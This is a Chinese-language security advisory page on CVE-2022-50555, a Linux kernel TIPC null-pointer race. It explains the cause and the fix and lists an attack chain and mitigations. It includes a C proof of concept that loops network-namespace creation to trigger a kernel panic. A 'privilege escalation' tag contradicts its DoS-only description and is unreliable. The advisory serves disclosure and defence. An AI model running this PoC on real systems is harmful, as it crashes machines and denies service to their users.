IPBUF安全漏洞报告
English
CVE-2022-50555 CVSS 5.5 中危

CVE-2022-50555 Linux内核TIPC空指针解引用漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2022-50555
漏洞类型
空指针解引用(Null Pointer Dereference)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel(tipc子系统)

相关标签

Linux KernelTIPC空指针解引用本地提权拒绝服务内核漏洞竞态条件net/tipc/topsrv.cCWE-476DoS

漏洞概述

CVE-2022-50555是Linux内核TIPC(Transparent Inter-Process Communication,透明进程间通信)子系统中存在的一个空指针解引用漏洞。该漏洞位于net/tipc/topsrv.c文件的tipc_topsrv_accept函数中,由syzbot模糊测试工具发现。当TIPC服务器在网络命名空间退出过程中,tipc_topsrv_stop()函数会将srv->listener设置为NULL,但此时tipc_topsrv_accept()工作线程可能仍在运行并访问该指针,从而导致内核空指针解引用崩溃。

该漏洞的根本原因在于并发控制不当:srv->listener虽然受到srv->idr_lock的保护,但在tipc_topsrv_accept函数中并未在锁内检查其有效性。此外,sock_release()的调用时机也不正确,可能在tipc_topsrv_accept工作线程仍在使用监听套接字时将其释放。攻击者可通过本地触发TIPC子系统停止流程来利用此漏洞,导致系统内核崩溃(内核panic),造成拒绝服务(DoS)攻击。

该漏洞的CVSS评分为5.5,属于中等严重等级。攻击者需要本地低权限访问即可触发,无需用户交互。漏洞主要影响系统的可用性,对机密性和完整性无影响。由于Linux内核广泛应用于各类服务器和嵌入式系统,此漏洞可能对生产环境造成稳定性威胁。

技术细节

该漏洞的技术原理涉及Linux内核TIPC子系统的并发安全问题。具体分析如下:

1. **漏洞触发路径**:当TIPC服务器(topsrv)启动时,会创建一个监听套接字(listener socket)并将其赋值给srv->listener。当网络命名空间退出时,tipc_topsrv_stop()函数会被调用,它在持有srv->idr_lock的情况下将srv->listener设置为NULL,随后调用sock_release()释放监听套接字。

2. **竞态条件**:tipc_topsrv_accept()作为工作队列(workqueue)中的回调函数,在接收到连接请求时被调度执行。该函数在执行过程中会访问srv->listener指针,但并未在srv->idr_lock保护下检查其是否已被设置为NULL。如果accept操作与stop操作并发执行,就会发生空指针解引用。

3. **崩溃堆栈分析**:根据KASAN报告,崩溃发生在kernel_accept()函数中(net/socket.c:3487),RIP地址为kernel_accept+0x22d/0x350。调用链为:worker_thread → process_one_work → tipc_topsrv_accept → kernel_accept,在访问NULL指针偏移0x8-0x0f范围时触发崩溃。

4. **修复方案**:内核补丁通过以下方式修复该漏洞:
- 在tipc_topsrv_accept()中,在srv->idr_lock保护下检查srv->listener是否为NULL;
- 将sock_release()调用移至tipc_topsrv_work_stop()之后,确保等待accept工作线程完成后再释放套接字;
- 使用sk_callback_lock保护sk->sk_user_data,并在tipc_topsrv_listener_data_ready()中检查srv有效性。

5. **利用方式**:攻击者可通过加载TIPC模块并触发特定的网络命名空间操作(如删除网络命名空间),使tipc_topsrv_stop()与tipc_topsrv_accept()并发执行,从而触发空指针解引用导致内核崩溃。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要在目标系统上拥有本地低权限账户,并确保系统加载了TIPC内核模块(CONFIG_TIPC=y)。TIPC通常用于集群内部通信。
STEP 2
步骤2:触发TIPC拓扑服务器初始化
攻击者创建TIPC套接字并绑定到特定地址范围(如type=0的服务),这将触发内核创建tipc_topsrv实例并启动监听套接字和accept工作线程。
STEP 3
步骤3:制造竞态条件
通过unshare(CLONE_NEWNET)创建新的网络命名空间,在该命名空间中初始化TIPC,然后快速退出命名空间。这会调用tipc_topsrv_stop(),将srv->listener设置为NULL并尝试释放监听套接字。
STEP 4
步骤4:触发空指针解引用
如果tipc_topsrv_accept()工作线程正在执行accept操作,且tipc_topsrv_stop()并发执行,工作线程将访问已被设置为NULL的srv->listener指针,导致内核空指针解引用。
STEP 5
步骤5:系统崩溃
空指针解引用导致内核panic,系统崩溃重启,造成拒绝服务(DoS)攻击。攻击者可循环执行此过程持续造成服务中断。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2022-50555 PoC - Trigger null pointer dereference in tipc_topsrv_accept // This PoC demonstrates how to trigger the race condition between // tipc_topsrv_stop() and tipc_topsrv_accept() #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/tipc.h> #include <sys/types.h> #include <sys/wait.h> #include <sched.h> #include <errno.h> #define TIPC_CLUSTER_ID 1 #define TIPC_NODE_ID 0x12345678 // Create a TIPC socket int create_tipc_socket(void) { int fd = socket(AF_TIPC, SOCK_SEQPACKET, 0); if (fd < 0) { perror("socket creation failed"); return -1; } return fd; } // Bind TIPC socket to trigger topsrv initialization int bind_tipc_socket(int fd) { struct sockaddr_tipc addr; memset(&addr, 0, sizeof(addr)); addr.family = AF_TIPC; addr.addrtype = TIPC_ADDR_NAMESEQ; addr.addr.nameseq.type = 0; // Service type 0 triggers topsrv addr.addr.nameseq.lower = 1; addr.addr.nameseq.upper = 1; addr.scope = TIPC_CLUSTER_SCOPE; if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) { perror("bind failed"); return -1; } return 0; } // Trigger network namespace exit to call tipc_topsrv_stop() // while tipc_topsrv_accept() worker is still running int trigger_namespace_exit(void) { pid_t pid = fork(); if (pid == 0) { // Child: create new namespace and exit quickly if (unshare(CLONE_NEWNET) < 0) { perror("unshare failed"); exit(1); } // Trigger TIPC initialization in new namespace int fd = create_tipc_socket(); if (fd >= 0) { bind_tipc_socket(fd); close(fd); } // Exit namespace quickly to trigger tipc_topsrv_stop() // while accept worker may still be processing _exit(0); } return pid; } int main(int argc, char *argv[]) { printf("CVE-2022-50555 PoC - TIPC null pointer dereference\n"); printf("Attempting to trigger race condition in tipc_topsrv_accept...\n"); // Repeatedly trigger namespace creation/exit to increase // probability of race condition for (int i = 0; i < 100; i++) { pid_t pid = trigger_namespace_exit(); if (pid > 0) { int status; waitpid(pid, &status, 0); } usleep(1000); // Small delay between attempts } printf("PoC execution completed. Check dmesg for kernel panic.\n"); return 0; }

影响范围

Linux Kernel < 5.15.61
Linux Kernel 5.16.x < 5.16.18
Linux Kernel 5.17.x < 5.17.1
Linux Kernel 5.18.x < 5.18.1
Linux Kernel 5.19-rc1 ~ 5.19-rc4

防御指南

临时缓解措施
在无法立即升级内核的情况下,可采取以下临时缓解措施:1)如果系统不需要TIPC功能,可以通过卸载tipc内核模块(rmmod tipc)或在启动参数中添加modprobe.blacklist=tipc来禁用TIPC子系统;2)通过iptables规则或nftables限制TIPC协议(协议号102)的网络通信;3)限制普通用户调用unshare(CLONE_NEWNET)系统调用的能力,可通过配置/etc/sysctl.d/中的kernel.unprivileged_userns_clone=0来限制用户命名空间创建;4)部署内核崩溃检测和自动重启机制,减少DoS攻击对业务的影响。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表